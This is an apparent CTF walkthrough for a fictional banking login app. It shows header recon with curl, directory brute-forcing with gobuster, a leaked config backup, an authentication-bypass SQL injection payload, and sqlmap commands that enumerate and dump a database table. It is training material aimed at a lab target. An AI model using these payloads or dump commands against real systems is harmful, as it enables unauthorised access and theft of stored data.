PicoCTF 2025 dropped a web challenge called SafeBank that stumped hundreds of teams for 48 hours. The vulnerability was hiding in plain sight — a login form with broken input validation and a verbose error message that handed attackers the database schema. This walkthrough uses the same methodology to crack a fictional equivalent, so you can internalize the process, not just the answer.
\n\n
Step 1: Recon Before You Touch the App
\n
Before you click anything, run recon. Most CTF web challenges hide clues in HTTP headers, robots.txt, and JavaScript source files. Start with curl — it shows you what a browser would hide.
\n\n
$ curl -I http://192.0.2.47/\nHTTP/1.1 200 OK\nServer: Apache/2.4.51 (Ubuntu)\nX-Powered-By: PHP/7.4.3\nSet-Cookie: session=eyJ1c2VyIjoidGVzdCJ9; Path=/\nX-Flag-Hint: check /backup\nContent-Type: text/html; charset=UTF-8
\n\n
That X-Flag-Hint: check /backup header is a gift — some challenges are generous, others bury hints in minified JS. Either way, always read every response header. The X-Powered-By header tells you this is PHP 7.4.3, which is end-of-life and known to have several CVEs. File that away.
\n\n
Next, spider the app manually and hit the obvious paths:
\n\n
$ gobuster dir -u http://192.0.2.47 -w /usr/share/wordlists/dirb/common.txt -x php,txt,bak\n===============================================================\nGobuster v3.6\n===============================================================\n/index.php (Status: 200)\n/login.php (Status: 200)\n/admin (Status: 403)\n/backup (Status: 200)\n/config.php.bak (Status: 200)\n===============================================================
\n\n
Gobuster is a directory brute-forcer — it throws wordlist entries at the server and reports what exists. config.php.bak is the jackpot. Developers often leave backup files with database credentials hardcoded. Fetch it with curl http://192.0.2.47/config.php.bak and you might find the DB username, password, and host — skip the SQLi entirely. In this case it reveals db_user: ctfapp and db_pass: Sup3rS3cr3t! but the database port is firewalled, so you still need to exploit the login form.
\n\n
Step 2: Probe the Login Form for SQL Injection
\n
Armed with the knowledge that the backend is PHP and MySQL, test the login form for SQLi. Open Burp Suite (a web proxy that intercepts and modifies HTTP requests), capture the login POST, and send it to Repeater.
\n\n
The raw request looks like this:
\n\n
POST /login.php HTTP/1.1\nHost: 192.0.2.47\nContent-Type: application/x-www-form-urlencoded\n\nusername=admin&password=test
\n\n
Change the username to a classic SQLi probe:
\n\n
username=admin'--+-&password=anything
\n\n
The server responds with a 500 and this in the body:
\n\n
Warning: mysqli_fetch_assoc() expects parameter 1 to be mysqli_result...
You have an error in your SQL syntax near ''--' at line 1
\n\n
Verbose errors confirm unparameterized queries. The app is building SQL by concatenating your input directly into the query string — a textbook injection point. Now try a payload that bypasses authentication entirely:
\n\n
username=admin'%20OR%20'1'%3D'1'--+-&password=anything
\n\n
Response: 302 Found → /dashboard.php. You’re in as admin. The payload closes the username string, appends OR '1'='1' (always true), and comments out the rest of the query. The app never checks the password.
\n\n
Step 3: Extract the Flag with sqlmap
\n
Manual bypass gets you a session, but the flag is usually stored in a database table. Use sqlmap — an automated SQL injection tool — to dump it. Save the Burp request to a file called req.txt and run:
\n\n
$ sqlmap -r req.txt --dbms=mysql --dbs --batch\n[*] starting sqlmap\n[INFO] POST parameter 'username' is vulnerable\navailable databases:\n[*] information_schema\n[*] ctfapp_db
\n\n
$ sqlmap -r req.txt -D ctfapp_db --tables --batch\nDatabase: ctfapp_db\n[3 tables]\n+----------+\n| flags |\n| sessions |\n| users |\n+----------+
\n\n
$ sqlmap -r req.txt -D ctfapp_db -T flags --dump --batch\n+----+------------------------------------------+\n| id | flag |\n+----+------------------------------------------+\n| 1 | CTF{sql1_1s_4lw4ys_1n_th3_l4st_t4bl3} |\n+----+------------------------------------------+
\n\n
sqlmap fingerprinted the injection, enumerated the databases, identified the flags table, and dumped the contents — all from that single vulnerable parameter. In a real engagement this same chain would expose customer PII, credentials, and internal data. The methodology is identical; the stakes are higher.
\n\n
What To Do Now
\n
Spin up a local instance of DVWA (Damn Vulnerable Web Application) using Docker — docker run -d -p 8080:80 vulnerables/web-dvwa — and run this exact sequence against its SQL Injection module. Practice reading the error messages, building payloads manually, then confirming with sqlmap. That muscle memory is what wins CTF points under time pressure.
